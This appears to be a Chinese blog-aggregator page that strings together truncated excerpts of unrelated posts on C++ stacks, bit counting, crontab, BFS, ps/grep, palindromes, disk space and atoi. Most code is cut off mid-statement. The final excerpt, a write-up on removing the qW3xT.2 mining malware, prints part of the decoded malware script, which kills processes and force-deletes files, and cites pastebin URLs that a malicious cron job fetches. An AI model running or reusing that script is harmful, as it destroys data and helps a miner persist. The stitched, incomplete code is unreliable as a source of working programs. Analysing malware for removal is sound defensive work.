tmp

NEFU 栈

。_饼干妹妹 提交于 2020-01-26 10:04:42
基本知识 1、栈的基本性质是先进后出,且只能由栈顶输出。 栈的基本操作 1、初始化栈:stack<数据类型 / 如int、char或结构体名 / >vis / 栈名 / 2、入栈:vis.push(x) 3、出栈:vis.pop() 4、判断是否为空:vis.empty() / 为空返回值为1 / 5、判断栈中元素的数量:vis.size() 6、得到栈顶元素:vis.top() 例题 栈-程序员输入问题 # include <bits/stdc++.h> using namespace std ; int main ( ) { stack < char > vis ; stack < char > vis1 ; char x [ 110 ] , y [ 110 ] , n = 0 ; gets ( x ) ; //字符串的输入带空格 int m = strlen ( x ) ; for ( int i = 0 ; i < m ; i ++ ) { if ( x [ i ] == '@' ) { while ( vis . empty ( ) != 1 ) //判断字符串是否为空 vis . pop ( ) ; continue ; } if ( x [ i ] == '#' ) { if ( vis . empty ( ) != 1 ) { vis . pop ( ) ;

求二进制数中1的个数

我的未来我决定 提交于 2020-01-25 06:49:43
问题描述: 任意给定一个32位无符号整数n,求n的二进制表示中1的个数,比如n = 5(0101)时,返回2,n = 15(1111)时,返回4。 若干解决方案: 普通法: 使用移位操作,判末位是否为1;移位的次数为32。 int BitCount(unsigned int n) { unsigned int c =0 ; // 计数器 while (n >0) { if((n &1) ==1) // 当前位是1 ++c ; // 计数器加1 n >>=1 ; // 移位 } return c ; } 快速法: 这个方法我最喜欢,也常用。迭代n=n&(n-1),消除最右边的1,计数。 int BitCount2(unsigned int n) { unsigned int c =0 ; for (c =0; n; ++c) { n &= (n -1) ; // 清除最低位的1 } return c ; } 动态表8bit: 使用查表法。制作包含8bit所有整数对应1的个数的表,然后匹配32位n,匹配4次。 int BitCount3(unsigned int n) { // 建表 unsigned char BitsSetTable256[256] = {0} ; // 初始化表 for (int i =0; i <256; i++) { BitsSetTable256[i] =

05-007 【Linux】crond任务调度

谁说我不能喝 提交于 2020-01-25 02:49:40
1. 概述 任务调度:是指系统在某个时间执行特定的命令或程序 任务调度分类:1.系统工作:有些重要工作需要周而复始的进行,比如病毒扫描;2.个别用户工作:个别用户可能希望执行某些程序,比如mysql备份。 2. 语法 crontab 【选项】 选项 含义 -e 编辑crontab定时任务 -l 查询crontab任务 -r 删除当前用户所有的crontab 3.快速入门 如果遇到crontab 报错:command not found 解决:执行 yum -y install vixie-cron crontabs 安装即可 crontab -e 输入下面命令后保存并退出 */1 * * * * ls –l /etc/ > /tmp/to.txt (意思说每小时的每分钟执行 ls –l /etc/ > /tmp/to.txt 命令) 4.调度文件参数说明 占位符说明 项目 含义 范围 第一个* 一个小时当中的第几分钟 0-59 第二个* 一天当中的第几个小时 0-23 第三个* 一个月中的第几天 1-31 第四个* 一年当中第几月 1-12 第五个* 一周当中星期几 0-7(0/7都是周日) 特殊符号说明 特殊符号 含义 * 代表任何时间 , 代表不连续时间 - 代表连续的时间范围 */n 代表每隔多久执行一次 特定时间执行任务案例 时间 含义 45 22 * * * 命令 每天

马的移动

懵懂的女人 提交于 2020-01-24 07:11:18
马的移动 题目描述 小明很喜欢下国际象棋,一天,他拿着国际象棋中的“马”时突然想到一个问题: 给定两个棋盘上的方格a和b,马从a跳到b最少需要多少步? 现请你编程解决这个问题。 提示:国际象棋棋盘为8格*8格,马的走子规则为,每步棋先横走或直走一格,然后再往外斜走一格。 输入 输入由两个方格组成,每个方格包含一个小写字母(a~h),表示棋盘的列号,和一个整数(1~8),表示棋盘的行号。 输出 输出一行"xx->yy:n”。 样例输入 e2 e4 样例输出 e2->e4:2 题解: 因为求最少步数,所以用bfs。 代码: #include<bits/stdc++.h> #define MAXN 8 using namespace std; struct Node { int x,y; int step; }; queue<Node> Q; int vis[MAXN][MAXN]; char str1[10],str2[10]; int bx,by,ex,ey,ans; int zb[8][2] = {-1,-2,-2,-1,-2,1,-1,2,1,2,2,1,2,-1,1,-2}; void bfs() { Node tmp,nt; tmp.x = bx; tmp.y = by; tmp.step = 0; vis[bx][by] = 1; Q.push(tmp); while(!Q

ps+grep判断进程是否存在

≯℡__Kan透↙ 提交于 2020-01-24 05:00:09
如果知道进程号的话,直接去判断/proc/下查找对应进程号文件是否存在即可(见5),但是当进程号不知道,只知道进程名称的时候,可以用这个方法。 有时候,我们在线上查日志定位问题的时候,经常会使用cat xxxx.log |grep yyyy命令,如果grep的时候,想排除某些字段,那么可以如下操作: cat test.log | grep "login"|grep -v "deviceType" 上面的命令的意思是:找出test.log中包含 login 信息的,且没有 deviceType 这个字段的。 这个其实非常有用的,因为有些业务日志信息,就是以有没有传递某个字段,来做一些业务逻辑区分的。这个时候,就可以使用上面的命令来识别是哪些业务场景进来的。 1、grep xxx 同理,我们要判断进程是否存在时会用到ps,那么只想查看某个进程相关的,就可以用到 ps | grep mscore ~ # ps | grep mscore 5747 root 1:33 mscore -qws 6524 root 0:00 grep mscore 5747表示当前在运行的mscore进程, 6524表示grep的进程行 2、grep -v xxx 当我们不想看到6524这个干扰项的时候,我们可以把 grep 这个关键词过滤掉 因此可以使用 grep -v grep ~ # ps | grep

LeetCode#9回文数

时光毁灭记忆、已成空白 提交于 2020-01-24 04:52:00
题目描述 判断一个整数是否是回文数。回文数是指正序(从左向右)和倒序(从右向左)读都是一样的整数。 示例 1: 输入: 121 输出: true 示例 2: 输入: -121 输出: false 解释: 从左向右读, 为 -121 。 从右向左读, 为 121- 。因此它不是一个回文数。 示例 3: 输入: 10 输出: false 解释: 从右向左读, 为 01 。因此它不是一个回文数。 进阶: 你能不将整数转为字符串来解决这个问题吗? 简单分析 显然负数不是回文数,同时小于十的自然数为回文数,不转换为字符串时可以将当前整数进行倒序,看看是否和原数一致,一致的话就是回文数。此时特殊考虑边界值2147483647,显然不是回文数。 代码 class Solution { public: bool isPalindrome(int x) { if(x<0||x==2147483647){ return false; } else if(x>=0&&x<10){ return true; } int tmp = x; int num = 0; while(tmp!=0){ num = tmp%10+num*10; tmp = tmp /10; } if(x == num){ return true; } return false; } }; 来源: CSDN 作者: DUT

定时执行任务crontab

浪子不回头ぞ 提交于 2020-01-24 04:40:12
使用crontab你可以在指定的时间执行一个shell脚本或者一系列Linux命令。 例如系统管理员安排一个备份任务使其每天都运行 使用前备份:crontab -l >crontab.tmp 还原指令:crontab crontab.tmp 查看日志:tail -f /var/log/cron crontab 的有效选项: crontab –e : 修改 crontab 文件. 如果文件不存在会自动创建。 crontab –l : 显示 crontab 文件。 crontab -r : 删除 crontab 文件,会删除该用户的所有crontab -e指令的 配置 crontab -ir : 删除 crontab 文件前提醒用户。 如何往 crontab 中添加一个作业? # crontab –e 0 5 * * * /root/bin/backup.sh crontab –e设置的定时任务文件存放在:/var/spool/cron/<username> 这将会在每天早上5点运行 /root/bin/backup.sh crontab 各项的描述 以下是 crontab 文件的格式: {minute} {hour} {day-of-month} {month} {day-of-week} {full-path-to-shell-script} minute: 区间为 0 – 59

文件已经删除,但是空间没有释放的原因

僤鯓⒐⒋嵵緔 提交于 2020-01-24 03:57:26
du -sh /tmp/* | sort -nr | head -3 通过命令发现在 /tmp 目录下有个 66G 大小的文件 access_log,这个文件应该是 apache 产生的访问日志文件,从日志大小来看,应该是很久没有清理的 apache 日志文件了,基本判定是这个文件导致的根空间爆满,在确认此文件可以删除后,执行如下删除命令, rm /tmp/access_Iog df -h 从输出来看,根分区空间仍然没有释放,这是怎么回事? 一般来说不会出现删除文件后空间不释放的情况,但是也存在例外,比如文件进程锁定,或者有进程一直在向这个文件写数据,要理解这个问题,就需要知道 linux 下文件的存储机制和存储结构。 一个文件在文件系统中存放分为两个部分:数据部分和指针部分,指针位于文件系统的 meta-data 中,在将数据删除后,这个指针就从 meta-data 中清除了,而数据部分存储在磁盘中。在将数据对应的指针从 meta-data 中清除后,文件数据部分占用的空间就可以被覆盖并写入新的内容,之所以出现删除 access_log 文件后,空间还没有释放,就是因为 httpd 进程还在一直向这个文件写入内容,导致虽然删除了 access_Ilog 文件,但是由于进程锁定,文件对应的指针部分并未从 meta-data 中清除,而由于指针并未删除,系统内核就认为文件并未被删除

LeetCode-8-字符串转换整数 (atoi)

こ雲淡風輕ζ 提交于 2020-01-23 21:17:09
题意描述: 请你来实现一个 atoi 函数,使其能将字符串转换成整数。 首先,该函数会根据需要丢弃无用的开头空格字符,直到寻找到第一个非空格的字符为止。 当我们寻找到的第一个非空字符为正或者负号时,则将该符号与之后面尽可能多的连续数字组合起来,作为该整数的正负号;假如第一个非空字符是数字,则直接将其与之后连续的数字字符组合起来,形成整数。 该字符串除了有效的整数部分之后也可能会存在多余的字符,这些字符可以被忽略,它们对于函数不应该造成影响。 注意:假如该字符串中的第一个非空格字符不是一个有效整数字符、字符串为空或字符串仅包含空白字符时,则你的函数不需要进行转换。 在任何情况下,若函数不能进行有效的转换时,请返回 0。 说明: 假设我们的环境只能存储 32 位大小的有符号整数,那么其数值范围为 [−2^31, 2^31 − 1]。如果数值超过这个范围,请返回 INT_MAX (2^31 − 1) 或 INT_MIN (−2^31) 。 示例: 示例一: 输入 : "42" 输出 : 42 示例二: 输入 : " -42" 输出 : - 42 解释 : 第一个非空白字符为 '-' , 它是一个负号。 我们尽可能将负号与后面所有连续出现的数字组合起来,最后得到 - 42 。 示例三: 输入 : "4193 with words" 输出 : 4193 解释 : 转换截止于数字 '3'

挖矿病毒 qW3xT.2 最终解决方案

独自空忆成欢 提交于 2020-01-23 20:41:59
转自:https://blog.csdn.net/hgx13467479678/article/details/82347473 1,cpu 100%, 用top 查看cpu100 2,删掉此进程 cpu还是 100% 3,估计是进程被隐藏了 4,定时任务多了一个执行任务 5:打开连接 https://pastebin.com/raw/xbY7p5Tb 获取如下内容 6:打开 https://pastebin.com/raw/uuYVPLXd ,发现是一个Base64编码字符串, 7:用Base64解码此内容得到如下脚本内容 #!/bin/bash SHELL=/bin/sh PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin function kills() { pkill -f sourplum pkill wnTKYg && pkill ddg* && rm -rf /tmp/ddg* && rm -rf /tmp/wnTKYg rm -rf /boot/grub/deamon && rm -rf /boot/grub/disk_genius rm -rf /tmp/*index_bak* rm -rf /tmp/*httpd.conf* rm -rf /tmp/*httpd.conf rm